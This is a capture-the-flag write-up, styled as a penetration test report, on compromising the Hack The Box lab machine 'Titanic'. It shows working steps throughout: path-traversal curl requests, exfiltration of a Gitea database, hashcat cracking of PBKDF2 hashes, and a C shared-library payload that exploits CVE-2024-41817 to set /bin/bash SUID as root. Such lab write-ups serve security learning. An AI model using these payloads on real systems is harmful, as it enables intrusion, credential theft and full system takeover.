HACK THE BOX · PENETRATION TEST REPORT



TITANIC

From a Booking Form to Root — Path Traversal to Library Hijack

★ ☆ ☆ ☆ EASY

10	1	ROOT
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance and Service Discovery

03 Mapping the Application Surface

04 Path Traversal and Arbitrary File Read

05 Source Disclosure via /proc

06 Hidden Virtual Host Discovery

07 Config Disclosure and Database Exfiltration

08 Offline PBKDF2 Cracking

09 User Access

10 Privilege Escalation Surface

11 CVE-2024-41817 — ImageMagick AppImage Library Hijack

12 Chain Summary and Conclusions

01

Executive Summary

Titanic is an Easy-rated Linux machine built around a Flask booking application fronted by an Apache reverse proxy. A full compromise chains a path-traversal/arbitrary-file-read in the booking endpoint into source and configuration disclosure, a hidden Gitea virtual host, exfiltration of the Gitea user database, offline PBKDF2 cracking, and finally a privileged ImageMagick job vulnerable to a loader-path hijack.

The application surface is deliberately small — only SSH and the web app are exposed — so the entire chain flows from a single unsanitised parameter, then pivots onto the host through credential reuse and a scheduled root task.

Attack chain overview

1. Reconnaissance: two exposed ports (22/SSH, 80/HTTP behind Apache → Flask).
2. Path traversal / arbitrary file read on `/download?ticket=`.
3. Application source disclosure via `/proc/self/cwd`, confirming the sink.
4. Hidden virtual host discovery (`dev.titanic.htb`, Gitea) via `/etc/hosts`.
5. Docker config in a public repo maps a container path onto the host filesystem.
6. Gitea SQLite database exfiltrated through the LFI.
7. Offline PBKDF2 cracking of the `developer` hash.
8. SSH access as `developer` by credential reuse — user flag captured.
9. Root-run ImageMagick AppImage with an empty `LD_LIBRARY_PATH` component.
0. Malicious `libxcb.so.1` loaded as root (CVE-2024-41817) — root flag captured.

02

Reconnaissance and Service Discovery

Full TCP sweep, then version detection on the open ports:

```
nmap -p- --min-rate 2000 -Pn <TARGET_IP> -oN nmap_full.txt
nmap -sC -sV -p22,80 <TARGET_IP> -oN nmap_ver.txt
```

```
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://titanic.htb/
```

Register the vhost and inspect the headers:

```
echo "<TARGET_IP> titanic.htb" | sudo tee -a /etc/hosts
curl -sI http://titanic.htb/
```

```
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.10.12
```

● Key observation

The `Server` header is **Werkzeug 3.0.3 / Python 3.10.12**, not Apache — the site is a Flask application behind a reverse proxy. This reshapes the attack profile: PHP/ASP extension fuzzing is pointless, while unsafe `send_file()` usage, SSTI and parameters passed into file-opening functions become the candidates.

03

Mapping the Application Surface

```
curl -s http://titanic.htb/ | grep -Ei "href|action|form|input"
```

Every navigation link is dead; the only live surface is a single form, `POST /book`. A booking application usually produces an artefact — a ticket — and hands it back, so the filename is likely attacker-controlled. Make a real booking and watch the response headers:

```
curl -s -i -X POST http://titanic.htb/book \
  -d "name=test&email=test@test.htb&phone=1234567890&date=2026-10-01&cabin=Standard"
```

```
HTTP/1.1 302 FOUND
Location: /download?ticket=f1fffc71-81ec-4804-affd-93026dbba9a7.json
```

Confirm the legitimate behaviour of the download endpoint before attacking it:

```
curl -s "http://titanic.htb/download?ticket=f1fffc71-...-.json"
```

```
{"name": "test", "email": "test@test.htb", "phone": "1234567890", ...}
```

04

Path Traversal and Arbitrary File Read

```
curl -s "http://titanic.htb/download?ticket=../../../../etc/passwd"
```

```
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:developer:/home/developer:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
```

⚠ Vulnerability confirmed

The `ticket` parameter is passed straight to `os.path.join(TICKETS_DIR, ticket)` with no sanitisation. A traversal sequence — or an absolute path — escapes the base directory, because `os.path.join()` is not a security boundary. Any filter must run on the raw input *before* the join. Two notes forward: the only real user is `developer` (uid 1000), and `_laurel` means **auditd logging is active**, so post-exploitation should stay clean.

05

Source Disclosure via /proc

Methodology says read the code before firing anything. The app directory is not where it is first guessed, and `/proc/self/cmdline` and `environ` come back empty.

⚠ Pitfall

`send_file()` is unsuited to `/proc` pseudo-files — the kernel reports size 0, so Werkzeug sends an empty body. The read primitive is intact; the *transport* fails. Do not read this as a filter. The `/proc/self/cwd` symlink points at the working directory; targeting a real file through it restores normal semantics:

```
curl -s "http://titanic.htb/download?ticket=../../../../proc/self/cwd/app.py"
```

```
TICKETS_DIR = "tickets"
@app.route('/download')
def download_ticket():
    ticket = request.args.get('ticket')
    json_filepath = os.path.join(TICKETS_DIR, ticket)
    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
...
app.run(host='127.0.0.1', port=5000)
```

The source confirms the sink and that the app binds loopback only — the primitive is read, not execute. It must be used to find the next service.

06

Hidden Virtual Host Discovery

`/proc/net/tcp` suffers the same size-0 problem, so take the simpler route:

```
curl -s "http://titanic.htb/download?ticket=../../../../etc/hosts"
```

```
127.0.0.1 localhost titanic.htb dev.titanic.htb
```

A second virtual host, `dev.titanic.htb`, serving **Gitea**:

```
echo "<TARGET_IP> dev.titanic.htb" | sudo tee -a /etc/hosts
curl -s http://dev.titanic.htb/explore/repos
```

Two public repositories owned by `developer` : `flask-app` and `docker-config` .

07

Config Disclosure and Database Exfiltration

`docker-config` holds the Gitea compose file:

```
volumes:
  - /home/developer/gitea/data:/data
```

● Key observation

The MySQL passwords in the repo are a decoy — they fail against SSH. The line that matters is the **volume mount**: `/home/developer/gitea/data` is Gitea's `/data` seen from the *host*, and the host filesystem is exactly what the LFI reads. Reading `app.ini` then gives the database path (`/data/gitea/gitea.db`).

Pull the SQLite database through the LFI and dump the users:

```
curl -s "http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/gitea.db" -o gitea.db
file gitea.db        # SQLite 3.x database
sqlite3 gitea.db "SELECT name,passwd,salt,passwd_hash_algo FROM user;"
```

```
administrator | <hash> | <salt> | pbkdf2$50000$50
developer     | <hash> | <salt> | pbkdf2$50000$50
```

08

Offline PBKDF2 Cracking

Gitea stores salt and hash as hex; hashcat mode 10900 expects `sha256:iter:salt_b64:hash_b64` :

```
python3 -c "import
base64;print('sha256:50000:'+base64.b64encode(bytes.fromhex('<salt>')).decode()+':'+base64.b64encode(bytes.fromhex('<hash>')).decode())" > dev_hash.txt
hashcat -m 10900 dev_hash.txt /usr/share/wordlists/rockyou.txt
```

```
sha256:50000:<salt>:<hash>:<REDACTED>      Status: Cracked
```

Cracked against plain rockyou — no rules required.

09

User Access

The Gitea password is reused for the system account:

```
sshpass -p '<REDACTED>' ssh developer@titanic.htb "id; cat /home/developer/user.txt"
```

```
uid=1000(developer) gid=1000(developer) groups=1000(developer)
```

USER FLAG

<REDACTED>

10

Privilege Escalation Surface

```
sudo -l                               # not allowed
find / -perm -4000 -type f 2>/dev/null  # nothing unusual
ls -la /opt/scripts/ /opt/app/static/assets/images
```

```
/opt/scripts/identify_images.sh   -rwxr-xr-x root root
/opt/app/static/assets/images     drwxrwx--- root developer
```

```
cat /opt/scripts/identify_images.sh
```

```
cd /opt/app/static/assets/images
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

A root cron runs ImageMagick inside a directory the `developer` group can write to.

```
magick -version       # ImageMagick 7.1.1-35 (AppImage)
```

⚠ Dead end

Before the real vector, SVG `xlink` injection, MVG/MSL delegate injection and filename argument-injection were all tested and rejected. Three coherent failures of the same family meant the model was wrong — the question moved from "how do I make the parser execute?" to "what does this AppImage packaging do differently?", which resolved it in one step.

11

CVE-2024-41817 — ImageMagick AppImage Library Hijack

⚠ CVE-2024-41817 (Critical)

The ImageMagick AppImage launcher sets `LD_LIBRARY_PATH` and `MAGICK_CONFIGURE_PATH` with an **empty path component**, resolved by the dynamic loader as the current working directory. Since the root script `cd` s into a group-writable directory, any shared object dropped there is loaded as root ahead of the system copy.

The library resolved at startup is `libxcb.so.1`. Build a payload whose constructor fires on load:

```
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(void){
    setuid(0); setgid(0);
    system("chmod u+s /bin/bash");
}
```

```
gcc -shared -fPIC -o libxcb.so.1 evil.c
cp libxcb.so.1 /opt/app/static/assets/images/
sleep 65 && ls -la /bin/bash
# -rwsr-xr-x 1 root root ... /bin/bash
/bin/bash -p -c 'cat /root/root.txt'
```

```
ROOT FLAG
<REDACTED>
```

12

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Nmap full-port scan	22/SSH, 80/HTTP (Flask) exposed
2	Fingerprint	Werkzeug header analysis	Flask behind Apache proxy
3	Initial access	Path traversal on `/download`	Arbitrary file read
4	Source disclosure	`/proc/self/cwd/app.py`	Vulnerable sink confirmed
5	Internal recon	`/etc/hosts` via LFI	Hidden Gitea vhost
6	Config disclosure	`docker-config` volume mount	Host path for `gitea.db`
7	Data exfiltration	SQLite DB via LFI	PBKDF2 user hashes
8	Offline cracking	hashcat mode 10900	Cleartext password
9	User access	SSH credential reuse	User flag
10	Privilege escalation	CVE-2024-41817 loader hijack	Root flag

Closing thoughts

Titanic is a tight demonstration that a single unsanitised parameter can carry an entire compromise when it is a *read* primitive on a well-understood filesystem. The flag was never in `/etc/passwd` — it was in knowing *which* file to request, and that knowledge came from the application's own source and a leaked Docker volume mount.

The decisive turning point was reading the configuration rather than guessing: the volume mount translated a container path into a host path the LFI could reach, and the empty `LD_LIBRARY_PATH` component turned a benign scheduled job into a root shell.

Key takeaways

- A read primitive is worth as much as the filesystem knowledge behind it; `/etc/hosts` and a Docker mount mapped the path to the database.
- An empty response is not always a filter — `send_file()` mishandles size-0 `/proc` files, and `/proc/self/cwd` restored the read.
- Secrets in a repository are rarely the whole prize; the topology (ports on loopback, the host volume) was worth more than the decoy passwords.
- An empty entry in `LD_LIBRARY_PATH` is a writable-CWD vulnerability in disguise — audit privileged binaries for loader-path handling, not only SUID bits.
- Three coherent failures mean the mental model is wrong, not the parameters.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.